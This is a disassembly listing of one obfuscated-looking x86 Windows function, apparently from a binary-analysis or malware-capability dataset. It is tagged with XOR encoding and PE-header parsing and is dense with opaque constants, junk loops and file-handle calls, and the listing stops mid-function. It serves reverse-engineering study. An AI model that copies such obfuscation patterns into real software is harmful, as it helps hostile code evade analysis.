Function at 0x4017c0
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
push esi
mov dword [ebp - 0x60], 0x6853
mov eax, 0x151
mov word [ebp - 0x18], ax
mov ecx, 0x8cf
mov word [ebp - 0x1c], cx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x2c4], eax
mov edx, 0xf6b
mov word [ebp - 0xb0], dx
mov byte [ebp - 2], 0x43
mov dword [ebp - 0x44], 0x5219
mov dword [ebp - 0x54], 0x100f
mov byte [ebp - 0x11], 0x33
mov dword [ebp - 0x39c], 0x4785
mov byte [ebp - 5], 0x45
mov dword [ebp - 0xe4], 0x24fb
mov eax, 0x84f
mov word [ebp - 0xac], ax
mov byte [ebp - 0x29], 0x69
mov dword [ebp - 0xbc], 0x1f43
mov dword [ebp - 0xd0], 0x4ad
mov byte [ebp - 0x2a], 0x55
mov byte [ebp - 1], 0x5f
mov cl, byte [ebp - 2]
mov byte [ebp - 0x2fc], cl
cmp byte [ebp - 0x2fc], 0x43
je 0x40186b
jmp 0x401871
lea edx, [ebp - 2]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x168], 0x62db
mov dword [ebp - 0x198], 0x9102
mov al, byte [ebp - 2]
mov byte [0x405014], al
mov dword [ebp - 0x1c8], 0xe340
mov dword [ebp - 0x110], 0x9a93
mov dword [ebp - 0x118], 0x2332
cmp dword [ebp - 0x110], 0x9aba
jae 0x4018da
mov ecx, dword [ebp - 0x110]
add ecx, 0x27
mov dword [ebp - 0x110], ecx
movsx edx, byte [ebp - 2]
movsx eax, byte [0x405014]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
jmp 0x4018ab
movsx edx, word [ebp - 0x10]
mov dword [ebp - 0x300], edx
cmp dword [ebp - 0x300], 0xd7
je 0x4018f2
jmp 0x40190b
mov eax, dword [ebp - 0x28]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x10]
push edx
movzx eax, byte [ebp - 2]
push eax
call fcn.00401780
add esp, 0xc
mov dword [ebp - 0x238], 0x6d3d
movzx ecx, word [section..data]
imul edx, ecx, 0xa0f
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x114], 0xdd31
mov dword [ebp - 0x11c], 0xbaca
mov cx, word [ebp - 0x1c]
mov word [ebp - 0xc], cx
mov dword [ebp - 0x120], 0x5f7b
mov dword [ebp - 0x1b8], 0xbe1e
mov dword [ebp - 0x138], 0x3bcb
mov edx, dword [ebp - 0x114]
add edx, 0xa3
mov dword [ebp - 0x114], edx
movsx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x405014], al
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push 0x401008
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x114], 0xdf1a
jne 0x401960
push 0
push 0
push 0xdbc2
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0xf0], eax
movzx ecx, word [ebp - 0xc]
mov dword [ebp - 0x304], ecx
cmp dword [ebp - 0x304], 0xa8c7
je 0x4019e0
jmp 0x401a0d
push 0
push 0
push 0x331f
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x128], 0x4d78
mov dword [ebp - 0x124], 0x4d31
mov edx, dword [ebp - 0x28]
mov al, byte [edx]
mov byte [ebp - 0x308], al
cmp byte [ebp - 0x308], 0x51
je 0x401a23
jmp 0x401a34
movzx edx, word [ebp - 0xc]
movzx ecx, word [section..data]
sar edx, cl
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x24c], 0x2368
cmp dword [ebp - 0x118], 0x2332
jb 0x401a80
mov eax, dword [ebp - 0x118]
sub eax, 0x75
mov dword [ebp - 0x118], eax
movzx ecx, word [ebp - 0xc]
movzx edx, word [ebp - 0x1c]
and ecx, edx
mov word [section..data], cx
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
movsx edx, byte [0x405014]
or ecx, edx
mov eax, dword [ebp - 0x28]
mov byte [eax], cl
jmp 0x401a3e
cmp dword [ebp - 0x11c], 0xbbb7
je 0x401ae6
mov ecx, dword [ebp - 0x11c]
add ecx, 0xed
mov dword [ebp - 0x11c], ecx
push 0
push 0x80
push 2
push 0
push 1
push 0x80000000
push 0x401038
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x84], eax
push 0
push 0x80
push 1
push 0
push 1
push 0x80000000
push 0x401070
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xd4], eax
jmp 0x401a80
push 2
push 0
push 0xbafc
mov edx, dword [ebp - 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x134], 0x6ac4
mov eax, dword [ebp - 0x120]
sub eax, 0xef
mov dword [ebp - 0x120], eax
movzx ecx, word [ebp - 0x1c]
movzx edx, word [ebp - 0xc]
xor ecx, edx
mov word [section..data], cx
cmp dword [ebp - 0x120], 0x5d9d
ja 0x401b0c
push 2
push 0
push 0x5f6a
mov eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x150], 0x7a3e
push 0
push 0
push 0xa7e6
mov eax, dword [ebp - 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x1ac], 0x457a
mov dword [ebp - 0x19c], 0xb62e
mov cl, byte [ebp - 1]
mov byte [ebp - 4], cl
mov edx, dword [0x405004]
shl edx, 0x15
mov dword [ebp - 0x54], edx
push 0
push 0
push 0xc70c
mov eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x170], 0x54db
mov dword [ebp - 0x13c], 0x56ce
cmp dword [ebp - 0x124], 0x4ddf
je 0x401c04
mov ecx, dword [ebp - 0x124]
add ecx, 0xae
mov dword [ebp - 0x124], ecx
movsx edx, byte [ebp - 2]
movsx eax, byte [0x405014]
sub edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
jmp 0x401bd2
cmp dword [ebp - 0x128], 0x4e69
jae 0x401c63
mov edx, dword [ebp - 0x128]
add edx, 0xf1
mov dword [ebp - 0x128], edx
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push 0x4010b8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x90], eax
push 2
push 0
push 0x693a
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x310], eax
jmp 0x401c04
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x30c], ecx
cmp dword [ebp - 0x30c], 0x423d
je 0x401c7a
jmp 0x401c8b
movzx edx, word [section..data]
movzx eax, word [ebp - 0xc]
sub edx, eax
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x208], 0x525a
mov cl, byte [0x405014]
mov byte [ebp - 3], cl
mov dword [ebp - 0x154], 0x984
lea edx, [ebp - 2]
mov dword [0x405018], edx
movsx eax, word [ebp - 0x10]
or eax, 0x50d
mov word [ebp - 0x18], ax
mov dword [ebp - 0x12c], 0xcf96
mov dword [ebp - 0x130], 0x52b9
push 2
push 0
push 0x4510
mov ecx, dword [ebp - 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x310], eax
lea edx, [ebp - 0x54]
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x1b4], 0x9819
mov dword [ebp - 0x1f8], 0xcd44
mov dword [ebp - 0x140], 0x8e65
mov ax, word [ebp - 0x10]
mov word [0x40501c], ax
mov dword [ebp - 0x1a4], 0x2b1d
mov dword [ebp - 0x158], 0x8592
mov ecx, dword [ebp - 0x12c]
add ecx, 0xd
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [edx]
mov ecx, dword [0x405004]
shl eax, cl
mov dword [ebp - 0x54], eax
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push 0x401100
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x12c], 0xcfbd
jb 0x401d30
cmp dword [ebp - 0x130], 0x5369
ja 0x401db7
mov ecx, dword [ebp - 0x130]
add ecx, 0xb0
mov dword [ebp - 0x130], ecx
movzx edx, byte [ebp - 1]
add edx, 0x73
mov byte [ebp - 4], dl
movsx eax, byte [ebp - 3]
movsx ecx, byte [ebp - 2]
xor eax, ecx
mov edx, dword [0x405018]
mov byte [edx], al
jmp 0x401d7b
mov eax, dword [0x405018]
mov cl, byte [eax]
mov byte [ebp - 0x314], cl
cmp byte [ebp - 0x314], 0
je 0x401dd2
jmp 0x404d8a
cmp dword [ebp - 0x134], 0x6ac4
jb 0x401e0b
mov edx, dword [ebp - 0x134]
sub edx, 0x8c
mov dword [ebp - 0x134], edx
push 0
push 0
push 0x5cff
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3b0], eax
jmp 0x401dd2
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x194], 0x99b0
mov dword [ebp - 0x180], 0x47e3
lea edx, [ebp - 0x54]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x144], 0x2fb0
mov dword [ebp - 0x15c], 0xf929
mov dword [ebp - 0x164], 0x4058
push 0
push 0
push 0x619f
mov eax, dword [ebp - 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x18c], eax
mov ecx, dword [ebp - 0x138]
add ecx, 8
mov dword [ebp - 0x138], ecx
push 0
push 0x80
push 2
push 0
push 2
push 0x80000000
push 0x401140
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xcc], eax
push 0
push 0
push 0x7340
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x138], 0x3bd3
jbe 0x401e68
cmp dword [ebp - 0x13c], 0x56ce
ja 0x401f05
mov eax, dword [ebp - 0x13c]
add eax, 0x39
mov dword [ebp - 0x13c], eax
movsx ecx, byte [ebp - 2]
movsx edx, byte [0x405014]
and ecx, edx
mov eax, dword [ebp - 0x28]
mov byte [eax], cl
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
movsx eax, byte [0x405014]
and edx, eax
mov ecx, dword [0x405018]
mov byte [ecx], dl
jmp 0x401ebf
movzx edx, word [ebp - 0x1c]
movzx eax, word [section..data]
add edx, eax
mov word [ebp - 0xc], dx
mov ecx, dword [ebp - 0x140]
sub ecx, 0xa9
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 3]
sar eax, cl
mov ecx, dword [ebp - 0x28]
mov byte [ecx], al
push 1
push 0
push 0x860b
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x140], 0x8dbc
jae 0x401f05
lea eax, [ebp - 0xc]
mov dword [0x405020], eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x16c], 0x11d2
mov edx, dword [ebp - 0x144]
add edx, 0x81
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x40]
mov ecx, dword [0x405004]
xor ecx, dword [eax]
mov dword [ebp - 0x54], ecx
mov edx, dword [0x405018]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 3]
sub eax, ecx
mov byte [0x405014], al
cmp dword [ebp - 0x144], 0x30b2
jbe 0x401f76
lea edx, [ebp - 1]
mov dword [ebp - 0x24], edx
mov eax, dword [0x405020]
mov cx, word [eax]
mov word [ebp - 0x34], cx
mov dword [ebp - 0x1d4], 0xa570
push 2
push 0
push 0x58d6
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1b0], eax
movsx eax, byte [0x405014]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 5], al
mov dword [ebp - 0x1cc], 0xea60
mov ax, word [ebp - 0x10]
mov word [ebp - 0x78], ax
mov ecx, dword [ebp - 0x24]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 4]
shl edx, cl
mov byte [0x405002], dl
mov dword [ebp - 0x148], 0x8f8f
mov dword [ebp - 0x14c], 0x2efb
push 1
push 0
push 0xd2b
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d0], eax
mov ecx, dword [ebp - 0x148]
sub ecx, 0xe
mov dword [ebp - 0x148], ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x54]
shl eax, cl
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
movzx edx, byte [0x405002]
movzx ecx, byte [ebp - 4]
sar edx, cl
mov eax, dword [ebp - 0x24]
mov byte [eax], dl
cmp dword [ebp - 0x148], 0x8f73
jae 0x402051
mov dword [0x405024], 0x405002
mov dword [ebp - 0x218], 0xa504
cmp dword [ebp - 0x14c], 0x2efb
ja 0x4020d7
mov ecx, dword [ebp - 0x14c]
add ecx, 0x5e
mov dword [ebp - 0x14c], ecx
push 0
push 0
push 0x6820
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2dc], eax
jmp 0x4020a1
cmp dword [ebp - 0x150], 0x7b15
jae 0x402108
mov eax, dword [ebp - 0x150]
add eax, 0xd7
mov dword [ebp - 0x150], eax
movzx ecx, byte [ebp - 1]
movzx edx, byte [0x405002]
or ecx, edx
mov eax, dword [ebp - 0x24]
mov byte [eax], cl
jmp 0x4020d7
cmp dword [ebp - 0x154], 0xad0
ja 0x40214b
mov ecx, dword [ebp - 0x154]
add ecx, 0xa6
mov dword [ebp - 0x154], ecx
movsx edx, byte [ebp - 3]
movsx eax, byte [ebp - 2]
sub edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x24]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 1]
xor eax, ecx
mov edx, dword [0x405024]
mov byte [edx], al
jmp 0x402108
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x54]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x2b0], 0xc3e7
push 0
push 0
push 0xb697
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x204], 0x1c29
cmp dword [ebp - 0x158], 0x8680
jae 0x4021c3
mov eax, dword [ebp - 0x158]
add eax, 0x77
mov dword [ebp - 0x158], eax
push 0
push 0x80
push 1
push 0
push 2
push 0x80000000
push 0x401180
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x94], eax
jmp 0x402183
mov cl, byte [0x405002]
mov byte [0x405015], cl
mov dword [ebp - 0x22c], 0xe1c0
mov edx, dword [0x405020]
movzx eax, word [edx]
movzx ecx, word [section..data]
add eax, ecx
mov word [ebp - 0x1c], ax
push 0
push 0
push 0xdb1a
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d0], eax
push 2
push 0
push 0x9cfe
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x17c], 0x68ad
movsx ecx, byte [ebp - 3]
movsx edx, byte [ebp - 2]
sub ecx, edx
mov byte [ebp - 0x11], cl
mov eax, dword [ebp - 0x64]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x88]
movsx eax, word [edx]
add ecx, eax
mov word [0x405008], cx
mov dword [ebp - 0x160], 0x7a60
mov dword [ebp - 0x1f0], CreateWindowExA
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x21c], 0x5f36
mov edx, dword [ebp - 0x58]
and edx, 0x7481
mov dword [ebp - 0x60], edx
cmp dword [ebp - 0x15c], 0xf929
jb 0x4022c4
mov eax, dword [ebp - 0x15c]
sub eax, 0xc5
mov dword [ebp - 0x15c], eax
push 0
push 0
push 0x7687
mov ecx, dword [ebp - 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d8], eax
jmp 0x402289
cmp dword [ebp - 0x160], 0x7a21
jb 0x402306
mov edx, dword [ebp - 0x160]
sub edx, 0x3f
mov dword [ebp - 0x160], edx
mov eax, dword [ebp - 0x24]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 1]
xor ecx, edx
mov eax, dword [0x405024]
mov byte [eax], cl
mov ecx, dword [ebp - 0x40]
mov edx, dword [0x405004]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
jmp 0x4022c4
push 2
push 0
push 0xafc1
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x1c4], 0x846a
mov edx, dword [0x405018]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 5]
sar eax, cl
mov byte [ebp - 3], al
mov dword [ebp - 0x210], 0xba6d
push 0
push 0
push 0xf9e4
mov ecx, dword [ebp - 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3b4], eax
push 0
push 0
push 0x740e
mov edx, dword [ebp - 0xcc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x164], 0x40ce
ja 0x4023bb
mov eax, dword [ebp - 0x164]
add eax, 0x3b
mov dword [ebp - 0x164], eax
movzx ecx, byte [ebp - 4]
movzx edx, byte [ebp - 1]
or ecx, edx
mov eax, dword [0x405024]
mov byte [eax], cl
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x8c], eax
jmp 0x40237d
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x5c], ecx
mov dl, byte [0x405015]
mov byte [0x405016], dl
cmp dword [ebp - 0x168], 0x65a5
je 0x40241f
mov eax, dword [ebp - 0x168]
add eax, 0xee
mov dword [ebp - 0x168], eax
push 0
push 0x80
push 1
push 0
push 3
push 0x40000000
push 0x4011c4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x80], eax
mov ecx, dword [0x405020]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x34]
and edx, eax
mov word [ebp - 0xc], dx
jmp 0x4023cd
movsx edx, byte [0x405014]
movsx ecx, byte [ebp - 3]
sar edx, cl
mov byte [ebp - 0x2a], dl
mov dword [ebp - 0x184], 0xaaef
mov dword [ebp - 0x174], 0x2581
push 2
push 0
push 0xe32c
mov eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d8], eax
mov ecx, dword [ebp - 0x16c]
sub ecx, 0x2d
mov dword [ebp - 0x16c], ecx
movsx edx, byte [ebp - 3]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x405018]
mov byte [ecx], dl
mov edx, dword [ebp - 0x40]
mov eax, dword [edx]
xor eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
cmp dword [ebp - 0x16c], 0x1178
jae 0x40245f
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x58], edx
mov eax, dword [0x405024]
movzx ecx, byte [eax]
imul edx, ecx, 0x69
mov byte [0x405016], dl
mov dword [ebp - 0x190], 0xbc4
mov dword [ebp - 0x1e0], 0x46c0
mov dword [ebp - 0x224], 0x5198
mov ax, word [ebp - 0xc]
mov word [ebp - 0x48], ax
mov dword [ebp - 0x270], 0x20f5
mov dword [ebp - 0x1d8], 0x21ab
push 1
push 0
push 0xcc6
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x178], 0xf001
mov dword [ebp - 0x188], 0xda71
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
mov ecx, dword [0x405018]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 3], al
cmp dword [ebp - 0x170], 0x567f
jae 0x40258b
mov eax, dword [ebp - 0x170]
add eax, 0xd2
mov dword [ebp - 0x170], eax
mov ecx, dword [ebp - 0x88]
movsx edx, word [ecx]
movsx eax, word [0x40501c]
add edx, eax
mov word [0x405008], dx
push 1
push 0
push 0xdcd0
mov ecx, dword [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e4], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
add eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
jmp 0x40252d
cmp dword [ebp - 0x174], 0x27ac
jae 0x4025d8
mov edx, dword [ebp - 0x174]
add edx, 0xb9
mov dword [ebp - 0x174], edx
movzx eax, byte [ebp - 4]
mov ecx, dword [0x405024]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x24]
mov byte [edx], al
push 0
push 0
push 0xb78a
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3b8], eax
jmp 0x40258b
lea ecx, [ebp - 4]
mov dword [0x405028], ecx
movzx edx, word [ebp - 0xc]
movzx eax, word [ebp - 0x34]
sub edx, eax
mov word [ebp - 0xac], dx
mov dword [ebp - 0x9c], 0x405014
cmp dword [ebp - 0x178], 0xf031
jae 0x402646
mov ecx, dword [ebp - 0x178]
add ecx, 0x30
mov dword [ebp - 0x178], ecx
push 0
push 0
push 0x8b8
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x318], eax
movsx eax, byte [ebp - 3]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x405018]
mov byte [ecx], al
jmp 0x4025fc
push 1
push 0
push 0x7156
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x318], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x54]
cdq
idiv dword [ecx]
mov dword [ebp - 0x44], eax
lea edx, [ebp - 0x60]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x24]
movzx ecx, byte [eax]
mov edx, dword [0x405024]
movzx eax, byte [edx]
or ecx, eax
mov byte [0x405003], cl
push 1
push 0
push 0x60f6
mov ecx, dword [ebp - 0xd4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x230], 0xdd71
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x7c], edx
mov al, byte [ebp - 3]
mov byte [ebp - 0x2b], al
cmp dword [ebp - 0x17c], 0x67db
jbe 0x4026ff
mov ecx, dword [ebp - 0x17c]
sub ecx, 0x69
mov dword [ebp - 0x17c], ecx
mov edx, dword [ebp - 0x24]
movzx eax, byte [edx]
mov ecx, dword [0x405028]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x405024]
mov byte [ecx], al
mov edx, dword [ebp - 0x40]
mov eax, dword [0x405004]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x44], eax
jmp 0x4026ba
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x38], ecx
movzx edx, byte [ebp - 4]
mov eax, dword [0x405024]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x405002], dl
mov dword [ebp - 0x2cc], 0x942f
push 1
push 0
push 0x648a
mov ecx, dword [ebp - 0x94]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2d4], eax
mov edx, dword [ebp - 0x180]
sub edx, 0x14
mov dword [ebp - 0x180], edx
push 0
push 0x80
push 2
push 0
push 3
push 0x80000000
push 0x401204
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xa0], eax
push 0
push 0
push 0x9877
mov eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3bc], eax
movzx ecx, word [ebp - 0xc]
movzx edx, word [ebp - 0xac]
and ecx, edx
mov eax, dword [ebp - 0x7c]
mov word [eax], cx
cmp dword [ebp - 0x180], 0x47a7
ja 0x40273f
push 1
push 0
push 0xfddf
mov ecx, dword [ebp - 0x94]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x25c], 0x293f
cmp dword [ebp - 0x184], 0xaaf1
jae 0x402821
mov edx, dword [ebp - 0x184]
add edx, 2
mov dword [ebp - 0x184], edx
push 0
push 0x80
push 1
push 0
push 1
push 0x80000000
push 0x401248
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xdc], eax
movsx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x11], al
jmp 0x4027d2
mov eax, dword [ebp - 0x64]
mov cx, word [eax]
mov word [0x40502c], cx
push 1
push 0
push 0x3349
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1fc], 0x5c75
mov dword [ebp - 0x1c0], 0xedd8
push 0
push 0
push 0x50fa
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0xe0], 0x405004
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x58]
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x244], 0xcc0f
push 1
push 0
push 0x5da6
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x29c], 0xe07b
cmp dword [ebp - 0x188], 0xdb43
jae 0x402920
mov ecx, dword [ebp - 0x188]
add ecx, 0x46
mov dword [ebp - 0x188], ecx
mov edx, dword [ebp - 0x24]
movzx eax, byte [edx]
mov ecx, dword [0x405024]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x405003], al
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push 0x401288
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x7c]
movzx edx, word [eax]
mov eax, dword [0x405020]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x48], dx
jmp 0x4028b6
push 2
push 0
push 0x4a24
mov ecx, dword [ebp - 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x18c], eax
push 2
push 0
push 0x9122
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3c4], eax
mov dword [ebp - 0x248], 0x4cf3
mov dword [ebp - 0x1dc], 0xc522
mov eax, dword [ebp - 0x190]
add eax, 0x80
mov dword [ebp - 0x190], eax
movsx ecx, byte [ebp - 0x11]
movsx edx, byte [0x405014]
sub ecx, edx
mov eax, dword [ebp - 0x9c]
mov byte [eax], cl
push 0
push 0
push 0xeeb4
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x190], 0xc44
jbe 0x402969
lea edx, [ebp - 0x10]
mov dword [0x405030], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x54]
mov dword [ebp - 0xe4], ecx
push 1
push 0
push 0x5a19
mov edx, dword [ebp - 0xdc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x1f4], 0x8262
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x5c]
or ecx, dword [eax]
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x24]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 1]
shl eax, cl
mov byte [0x40500a], al
push 0
push 0
push 0xd033
mov ecx, dword [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x3c8], eax
push 1
push 0
push 0x67c9
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x31c], eax
push 1
push 0
